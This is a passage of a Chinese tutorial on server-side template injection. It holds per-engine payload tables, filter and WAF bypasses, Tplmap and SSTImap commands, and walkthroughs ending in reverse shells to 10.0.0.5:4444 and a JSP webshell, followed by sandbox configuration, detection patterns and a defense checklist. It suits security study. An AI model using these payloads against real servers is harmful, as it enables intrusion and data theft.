9.1 Mako (Python) SSTI
Mako 是 Python 生态的高性能模板引擎,语法接近 Python 本身。
| 功能 | payload | 说明 |
|---|---|---|
| 检测 | ${7*7} |
输出 49 |
| 命令执行 | ${__import__("os").popen("id").read()} |
导入 os |
| 命令执行 | <%import os;x=os.popen('id').read()%>${x} |
代码块执行 |
| 命令执行 | ${self.module.cache.util.os.system("id")} |
缓存模块 |
| 读文件 | ${open("/etc/passwd").read()} |
直接读文件 |
| 反弹 shell | ${__import__("os").popen("bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'").read()} |
反弹 |
Mako 的特点是直接支持 Python 代码块,利用极其简单:
<%
import os
os.system('id')
%>
9.2 Pebble (Java) SSTI
Pebble 是 Java 生态的现代模板引擎,语法接近 Twig。
| 功能 | payload | 说明 |
|---|---|---|
| 检测 | {{7*7}} |
输出 49 |
| 命令执行 | {% set cmd = 'id' %}{{ cmd.execute() }} |
部分 API |
| 命令执行 | {{ beans }} |
列出 Java Beans |
| 命令执行 | {{ beans.getClass().forName('java.lang.Runtime').getMethod('exec','').invoke(beans.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'id') }} |
反射执行 |
| 读文件 | {% set f = beans.getClass().forName('java.io.File').newInstance('/etc/passwd') %}{{ f }} |
File 对象 |
| 反弹 shell | (基于反射构造 Runtime.exec) | 反弹 |
【提示】 Pebble 默认开启 Sandbox 时会限制
getClass()等反射调用,需通过PebbleEngine.Builder().extension(new CoreExtension())等方式开启或绕过。
十、各模板引擎 payload 速查表
10.1 按引擎分类的检测与利用 payload 大表
| 引擎 | 检测 payload | 命令执行 payload |
|---|---|---|
| Jinja2 | {{7*7}} |
{{lipsum.__globals__.os.popen('id').read()}} |
| Twig | {{7*7}} |
{{['id']|map('system')}} |
| Smarty | {$smarty.version} |
{if system('id')}{/if} |
| FreeMarker | ${7*7} |
<#assign cmd="freemarker.template.utility.Execute"?new()>${cmd("id")} |
| Velocity | ${7*7} |
$class.inspect("java.lang.Runtime").type.getRuntime().exec("id") |
| Mako | ${7*7} |
${__import__("os").popen("id").read()} |
| Pebble | {{7*7}} |
反射调用 Runtime |
| ERB | <%=7*7%> |
<%= system('id') %> |
| Nunjucks | {{7*7}} |
{{range.constructor("return global.process.mainModule.require('child_process').execSync('id')")()}} |
| Pug | #{7*7} |
#{global.process.mainModule.require('child_process').execSync('id').toString()} |
| Thymeleaf | ${7*7} |
${T(java.lang.Runtime).getRuntime().exec('id')} |
10.2 按功能分类的对比表
| 功能 | Jinja2 | Twig | Smarty | FreeMarker | Velocity |
|---|---|---|---|---|---|
| 数学检测 | {{7*7}} |
{{7*7}} |
{$smarty.version} |
${7*7} |
${7*7} |
| 文件读取 | {{''.__class__...}} |
{{source('/etc/passwd')}} |
{if file_get_contents('/etc/passwd')}{/if} |
<#assign...>${cmd("cat /etc/passwd")} |
File 对象反射 |
| 命令执行 | {{lipsum.__globals__.os...}} |
{{['id']|map('system')}} |
{if system('id')}{/if} |
Execute 类 |
Runtime 反射 |
| 写文件 | os.popen echo | file_put_contents | writeFile | Execute echo | Runtime exec |
| 反弹 shell | os.popen bash | map(‘system’) bash | if system bash | Execute bash | Runtime exec bash |
| 获取配置 | {{config}} |
{{app.request...}} |
$smarty.config |
${.globals} |
$context |
十一、SSTI 绕过技巧
11.1 关键字过滤绕过
当 WAF 或代码过滤了 os、popen、system 等关键字时,可用以下技巧绕过。
| 绕过技巧 | 适用场景 | 示例(Jinja2) | 示例(Twig) |
|---|---|---|---|
| 字符串拼接 | 关键字过滤 | {{lipsum.__globals__['o'+'s']...}} |
{{(['o','s']|join)}} |
| 十六进制编码 | 关键字过滤 | {{lipsum.__globals__['\x6fs']...}} |
{{(['\x6f','s']|join)}} |
| base64 解码 | 关键字过滤 | (需解码函数) | {{('b3M='|b64decode)}} |
| request 取值 | 引号过滤 | {{lipsum.__globals__[request.args.a]}} |
{{app.request.query.all()}} |
| chr 构造 | 引号过滤 | chr 拼接 | chr 拼接 |
| 大小写混淆 | 部分过滤 | (Python 区分大小写,无效) | (PHP 部分函数不区分) |
| 注释插入 | 关键字过滤 | o/**/s |
o/* */s |
11.2 字符过滤绕过
| 被过滤字符 | 绕过方式 | 示例 |
|---|---|---|
.(点号) |
中括号 [] |
config['SECRET_KEY'] |
.(点号) |
attr() 过滤器 |
config|attr('SECRET_KEY') |
_(下划线) |
十六进制 \x5f |
\x5f\x5fclass\x5f\x5f |
'(单引号) |
双引号 " |
config["SECRET_KEY"] |
"(双引号) |
request 取值 | config[request.args.x] |
{{ |
{% %} 控制结构 |
{% set x=... %}{{ x }} |
{{ |
#{ }(部分引擎) |
- |
()(括号) |
request 取值 | (复杂,需具体情况分析) |
| 数字 | 字符串运算 | 'a'*0、'a'[-1] |
11.3 沙箱绕过
| 绕过技巧 | 适用引擎 | 原理 |
|---|---|---|
attr() 过滤器 |
Jinja2 | 绕过点号过滤,访问属性 |
__globals__ 访问 |
Jinja2 | 获取全局命名空间 |
__mro__ 链 |
Jinja2 | 遍历方法解析顺序找可用类 |
request 对象 |
Jinja2/Flask | 携带敏感数据 |
lipsum 全局 |
Jinja2 | 内置函数含 os 模块 |
cycler 全局 |
Jinja2 | 内置类含 os |
namespace 全局 |
Jinja2 | 内置类含 os |
map/filter 过滤器 |
Twig | 间接调用系统函数 |
source 函数 |
Twig | 读取文件 |
Execute 类 |
FreeMarker | 直接执行命令 |
ObjectConstructor |
FreeMarker | 构造任意对象 |
| 反射 | Velocity/Java | Runtime.exec |
include 标签 |
Smarty | 包含文件执行 |
11.4 WAF 绕过技巧适用场景表
| WAF 规则 | 绕过方式 | 适用引擎 | 示例 |
|---|---|---|---|
拦截 {{ |
使用 {% %} |
Jinja2/Twig | {% set x=7*7 %}{{ x }} |
拦截 {{ |
使用 ${} |
FreeMarker | ${7*7} |
拦截 os |
字符串拼接 | Jinja2 | 'o'+'s' |
拦截 os |
十六进制 | Jinja2 | '\x6fs' |
拦截 __ |
十六进制 | Jinja2 | '\x5f\x5f' |
| 拦引号 | request 取值 | Jinja2 | request.args.x |
拦 system |
替换函数 | Twig | map('exec') |
| 拦空格 | ${IFS} |
Shell 层 | cat${IFS}/etc/passwd |
| 拦关键字 | base64 解码 | 通用 | echo aWQ=|base64 -d|bash |
| URL 编码 | 双重编码 | HTTP 层 | %257b%257b |
十二、SSTI 自动化利用工具
12.1 Tplmap 完整使用指南
# 1. 安装
git clone https://github.com/epinna/tplmap.git
cd tplmap
pip install -r requirements.txt
# 2. 基础检测(* 标记注入点)
python tplmap.py -u 'http://target.com/page?name=*'
# 3. 获取 os-shell(交互式命令执行)
python tplmap.py -u 'http://target.com/page?name=*' --os-shell
# 4. 执行单条命令
python tplmap.py -u 'http://target.com/page?name=*' --os-cmd 'whoami'
# 5. POST 方式
python tplmap.py -u 'http://target.com/login' --data 'username=*&password=123'
# 6. 指定引擎(加速)
python tplmap.py -u 'http://target.com/page?name=*' --engine jinja2
# 7. 上传文件
python tplmap.py -u 'http://target.com/page?name=*' --file-upload ./shell.py /tmp/shell.py
# 8. 通过 Burp 代理
python tplmap.py -u 'http://target.com/page?name=*' --proxy 'http://127.0.0.1:8080'
# 9. 使用模板
python tplmap.py -u 'http://target.com/page?name=*' --tpl-code '{{7*7}}'
# 10. 绕过技术
python tplmap.py -u 'http://target.com/page?name=*' --engine jinja2 --tpl-code '{{7*7}}'
12.2 SSTImap 完整使用指南
# 1. 安装
git clone https://github.com/vladko312/SSTImap.git
cd SSTImap
pip install -r requirements.txt
# 2. 基础检测
python sstimap.py -u 'http://target.com/page?name=test'
# 3. 获取交互式 shell
python sstimap.py -u 'http://target.com/page?name=test' --os-shell
# 4. 执行命令
python sstimap.py -u 'http://target.com/page?name=test' --os-cmd 'id'
# 5. 上传文件
python sstimap.py -u 'http://target.com/page?name=test' --file-upload ./shell.py /tmp/shell.py
# 6. 使用模板代码
python sstimap.py -u 'http://target.com/page?name=test' --tpl-code '{{7*7}}'
# 7. 绕过 WAF
python sstimap.py -u 'http://target.com/page?name=test' --tamper urlencode
# 8. POST 方式
python sstimap.py -u 'http://target.com/login' --data 'user=test&pass=*'
12.3 工具功能对比表
| 功能 | Tplmap | SSTImap | Burp 插件 |
|---|---|---|---|
| 多引擎支持 | 是(7+引擎) | 是(5+引擎) | 部分 |
| 自动检测 | 是 | 是 | 是 |
| os-shell | 是 | 是 | 否 |
| 文件上传 | 是 | 是 | 否 |
| WAF 绕过 | 部分 | 是 | 否 |
| POST 支持 | 是 | 是 | 是 |
| Cookie 支持 | 是 | 是 | 是 |
| 代理支持 | 是 | 是 | 原生 |
| 维护状态 | 停更 | 活跃 | 各异 |
| Python 3 支持 | 是 | 是 | N/A |
| 模板定制 | 是 | 是 | 部分 |
| 报告生成 | 否 | 否 | 是 |
十三、SSTI 防御方案
13.1 沙箱模式配置示例
各引擎的沙箱配置代码示例:
| 引擎 | 沙箱配置代码 | 说明 |
|---|---|---|
| Jinja2 | SandboxedEnvironment |
沙箱环境 |
| Twig | $twig = new Twig_Environment($loader, ['sandbox' => true]) |
启用沙箱 |
| Smarty | $smarty->enableSecurity() |
启用安全策略 |
| FreeMarker | cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER) |
限制类加载 |
| Velocity | SecureUberspector |
安全反射器 |
Jinja2 沙箱配置:
from jinja2 import SandboxedEnvironment, ImmutableSandboxedEnvironment
# 方式 1:基础沙箱
env = SandboxedEnvironment()
template = env.from_string(user_template)
# 方式 2:不可变沙箱(更严格)
env = ImmutableSandboxedEnvironment()
template = env.from_string(user_template)
# 方式 3:自定义安全策略
class SafeEnvironment(SandboxedEnvironment):
def is_safe_attribute(self, obj, attr, value):
# 只允许访问白名单属性
allowed = ['name', 'email', 'id']
return attr in allowed
def is_safe_callable(self, obj):
# 禁止调用危险函数
return False
Twig 沙箱配置:
$tags = ['if', 'for'];
$filters = ['upper', 'lower', 'trim'];
$methods = [];
$properties = [];
$functions = ['range'];
$policy = new Twig\Sandbox\SecurityPolicy($tags, $filters, $methods, $properties, $functions);
$sandbox = new Twig\Extension\SandboxExtension($policy, true);
$twig->addExtension($sandbox);
13.2 输入与模板分离(对比代码)
这是 SSTI 防御的核心原则:永远不要把用户输入拼接到模板字符串中。
# 危险代码:直接拼接(存在 SSTI)
@app.route('/bad')
def bad():
name = request.args.get('name', '')
template = '<h1>Hello ' + name + '</h1>' # 危险!
return render_template_string(template)
# 安全代码:使用参数化模板
@app.route('/good')
def good():
name = request.args.get('name', '')
# 模板与数据分离,name 作为变量传入
return render_template_string('<h1>Hello {{ name }}</h1>', name=name)
# 安全代码:使用模板文件(更佳)
@app.route('/best')
def best():
name = request.args.get('name', '')
return render_template('greet.html', name=name)
13.3 安全配置
| 引擎 | 安全配置项 | 配置方式 |
|---|---|---|
| Jinja2 | 使用 SandboxedEnvironment |
env = SandboxedEnvironment() |
| Jinja2 | 禁用 autoescape 风险 |
仅在可信内容关闭 |
| Twig | 启用 sandbox 扩展 | $twig->addExtension(new \Twig\Extension\SandboxExtension($policy)) |
| Smarty | 启用 security | $smarty->enableSecurity('Smarty_Security') |
| FreeMarker | 限制类解析 | cfg.setNewBuiltinClassResolver(SAFER_RESOLVER) |
| FreeMarker | 禁用 API 访问 | cfg.setAPIBuiltinEnabled(false) |
| Velocity | 使用 SecureUberspector | runtime.introspector.uberspect=org.apache.velocity.util.introspection.SecureUberspector |
| Pebble | 启用 Sandbox | new PebbleEngine.Builder().extension(new SandboxExtension()) |
13.4 输入校验
import re
# 白名单校验:只允许字母数字和有限符号
def sanitize_template_input(user_input):
# 只允许字母、数字、下划线、连字符、空格
if not re.match(r'^[a-zA-Z0-9_\-\s]+$', user_input):
raise ValueError('Invalid input: only alphanumeric characters allowed')
return user_input
# 长度限制
def validate_input_length(user_input, max_length=100):
if len(user_input) > max_length:
raise ValueError(f'Input too long, max {max_length} characters')
return user_input
# 黑名单检测:检测 SSTI 特征字符
SSTI_PATTERNS = [
r'\{\{.*\}\}', # Jinja2/Twig
r'\$\{.*\}', # FreeMarker/Mako
r'<%=.*%>', # ERB
r'#\{.*\}', # Ruby/Smarty
r'\{if.*\}', # Smarty if
r'__class__', # Jinja2 魔术方法
r'__globals__', # Jinja2 全局
r'__mro__', # Jinja2 MRO
r'__subclasses__', # Jinja2 子类
]
def detect_ssti(user_input):
for pattern in SSTI_PATTERNS:
if re.search(pattern, user_input, re.IGNORECASE):
raise ValueError(f'SSTI pattern detected: {pattern}')
return user_input
# 组合校验
def safe_template_input(user_input):
user_input = validate_input_length(user_input)
user_input = detect_ssti(user_input)
user_input = sanitize_template_input(user_input)
return user_input
十四、实战案例
14.1 案例 1:Flask Jinja2 获取 Shell
目标环境: 某 Flask 应用存在 SSTI,/page?name= 参数可注入。
步骤 1:检测注入
GET /page?name={{7*7}}
响应:<h1>Welcome 49</h1>
步骤 2:确认引擎
GET /page?name={{7*'7'}}
响应:<h1>Welcome 7777777</h1>,确认 Jinja2。
步骤 3:信息收集
GET /page?name={{config}}
响应泄露 SECRET_KEY: 'super-secret-key-123'、DEBUG: True 等敏感配置。
GET /page?name={{request.environ}}
获取主机名、内部 IP、Python 版本等信息。
步骤 4:命令执行
GET /page?name={{lipsum.__globals__.os.popen('id').read()}}
响应:uid=1001(flask) gid=1001(flask) groups=1001(flask)
步骤 5:权限提升探测
GET /page?name={{lipsum.__globals__.os.popen('sudo -l').read()}}
发现可 sudo 执行 /usr/bin/find,准备提权。
步骤 6:反弹 shell
攻击者监听:
nc -lvnp 4444
目标执行:
GET /page?name={{lipsum.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.0.0.5/4444 0>&1"').read()}}
获取交互式 shell,完成渗透。
14.2 案例 2:FreeMarker 命令执行
目标环境: 某 Java Web 应用使用 FreeMarker,/render?template= 参数可注入模板内容。
步骤 1:检测注入
GET /render?template=${7*7}
响应:49,确认 SSTI。
步骤 2:确认引擎
报错信息含 freemarker.core.TemplateException,确认 FreeMarker。
步骤 3:命令执行
GET /render?template=<#assign%20cmd="freemarker.template.utility.Execute"?new()>${cmd("id")}
响应:uid=1000(tomcat) gid=1000(tomcat)
步骤 4:信息收集
GET /render?template=<#assign%20cmd="freemarker.template.utility.Execute"?new()>${cmd("cat /etc/passwd")}
读取系统用户信息。
GET /render?template=<#assign%20cmd="freemarker.template.utility.Execute"?new()>${cmd("hostname")}
获取主机名。
步骤 5:写入 webshell
GET /render?template=<#assign%20cmd="freemarker.template.utility.Execute"?new()>${cmd("echo '<%Runtime.getRuntime().exec(request.getParameter(\"cmd\"));%>' > /opt/tomcat/webapps/ROOT/shell.jsp")}
步骤 6:连接 webshell
访问 http://target.com/shell.jsp?cmd=id,执行命令。
利用完成。
14.3 案例 3:绕过过滤实现 RCE
目标环境: 某 Flask 应用存在 SSTI,但过滤了 {{、os、popen、__ 等关键字。
步骤 1:检测注入(绕过 {{ 过滤)
由于 {{ 被过滤,使用 {% %} 控制结构:
GET /page?name={% if 7*7 == 49 %}vuln{% endif %}
响应包含 vuln,确认 SSTI 存在但 {{ 被过滤。
步骤 2:绕过 __ 过滤
__ 被过滤,使用十六进制编码 \x5f\x5f:
GET /page?name={% set x = ''|attr('\x5f\x5fclass\x5f\x5f') %}{% if x %}found{% endif %}
响应 found,绕过成功。
步骤 3:绕过 os、popen 过滤
使用字符串拼接 + request 取值:
GET /page?name={% set g = lipsum|attr('\x5f\x5fglobals\x5f\x5f') %}{% set o = g[request.args.a] %}{% set p = o|attr(request.args.b) %}{% set r = p(request.args.c).read() %}{{ r }}&a=os&b=popen&c=id
URL 编码后:
GET /page?name=%7B%25%20set%20g%20%3D%20lipsum%7Cattr(%27\x5f\x5fglobals\x5f\x5f%27)%20%25%7D%7B%25%20set%20o%20%3D%20g%5Brequest.args.a%5D%20%25%7D%7B%25%20set%20p%20%3D%20o%7Cattr(request.args.b)%20%25%7D%7B%25%20set%20r%20%3D%20p(request.args.c).read()%20%25%7D%7B%7B%20r%20%7D%7D&a=os&b=popen&c=id
响应:uid=1001(flask) gid=1001(flask),绕过成功,RCE 实现。
步骤 4:反弹 shell
GET /page?name={% set g = lipsum|attr('\x5f\x5fglobals\x5f\x5f') %}{% set o = g[request.args.a] %}{% set p = o|attr(request.args.b) %}{{ p(request.args.c).read() }}&a=os&b=popen&c=bash -c "bash -i >& /dev/tcp/10.0.0.5/4444 0>&1"
获取 shell,绕过完成。
【提示】 绕过的核心思路是:用「等价表示」替代「被过滤字符」。十六进制替代下划线、request 取值替代引号、字符串拼接替代关键字、控制结构替代表达式符号。掌握这些等价变换,几乎可以绕过所有过滤。
十五、总结与 SSTI 安全检查清单
15.1 SSTI 攻击全流程总结
SSTI 攻击遵循「检测-识别-利用-绕过-防御」五步法:
- 检测: 发送
{{7*7}}、${7*7}等指纹 payload,观察数学运算是否回显 - 识别: 通过字符串运算特征、报错信息、响应头确定具体引擎
- 利用: 根据引擎选择对应 payload 链,从信息收集到命令执行再到反弹 shell
- 绕过: 针对过滤采用十六进制编码、字符串拼接、request 取值、控制结构等技巧
- 防御: 模板与数据分离、沙箱配置、输入校验、白名单机制
15.2 SSTI 安全检查清单
开发者和安全团队应按以下清单检查 SSTI 防御措施:
| 检查项 | 检查内容 | 状态 |
|---|---|---|
| 1. 模板与数据分离 | 是否使用参数化模板,避免字符串拼接 | 待检查 |
| 2. 用户输入不进模板 | 用户输入是否作为数据传入,而非拼入模板字符串 | 待检查 |
| 3. 沙箱启用 | 是否启用引擎沙箱模式 | 待检查 |
| 4. 危险类禁用 | 是否禁用 Execute、ObjectConstructor 等危险类 | 待检查 |
| 5. 输入校验 | 是否对用户输入进行白名单校验 | 待检查 |
| 6. 长度限制 | 是否限制模板输入长度 | 待检查 |
| 7. 特征字符检测 | 是否检测 SSTI 特征字符({{、${ 等) |
待检查 |
| 8. WAF 规则 | 是否配置 SSTI 防护规则 | 待检查 |
| 9. 最小权限 | 模板渲染进程是否以最小权限运行 | 待检查 |
| 10. 模板审计 | 自定义模板是否经过安全审计 | 待检查 |
| 11. 依赖更新 | 模板引擎是否为最新版本 | 待检查 |
| 12. 日志监控 | 是否监控异常模板渲染行为 | 待检查 |
| 13. 安全测试 | 是否进行 SSTI 专项渗透测试 | 待检查 |
| 14. 代码审查 | 代码审查是否覆盖模板渲染逻辑 | 待检查 |
| 15. 应急响应 | 是否具备 SSTI 漏洞应急响应预案 | 待检查 |
15.3 各引擎防御速查
| 引擎 | 核心防御措施 |
|---|---|
| Jinja2 | SandboxedEnvironment + 参数化模板 + 输入校验 |
| Twig | sandbox 扩展 + SecurityPolicy + 参数化 |
| Smarty | enableSecurity() + 白名单标签 + 参数化 |
| FreeMarker | SAFER_RESOLVER + 禁用 API + 参数化 |
| Velocity | SecureUberspector + 反射限制 + 参数化 |
| Mako | 输入校验 + 限制模板内容 + 参数化 |
| Pebble | Sandbox 扩展 + 限制反射 + 参数化 |
15.4 结语
SSTI 是一种危害极高的 Web 漏洞,一次注入即可导致服务器沦陷。本文系统梳理了主流模板引擎的 SSTI 攻击全流程,从原理、检测、利用、绕过到防御,覆盖了实战中的关键环节。对于红队人员,掌握各引擎的 payload 链和绕过技巧是渗透的核心能力;对于防守方,理解攻击原理并落实「模板与数据分离」这一根本原则,是防御 SSTI 的关键。
【合规声明】 再次提醒:本文所有技术内容仅供安全学习、授权测试与防御研究。未经授权测试他人系统属违法行为。安全技术的终极目的是守护,请始终在合法合规的框架内运用所学知识。
参考资源:
- PayloadAllTheThings SSTI: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
- Tplmap: https://github.com/epinna/tplmap
- SSTImap: https://github.com/vladko312/SSTImap
- PortSwigger SSTI: https://portswigger.net/web-security/server-side-template-injection
- OWASP SSTI: https://owasp.org/www-community/attacks/Server_Side_Template_Injection
更多推荐



所有评论(0)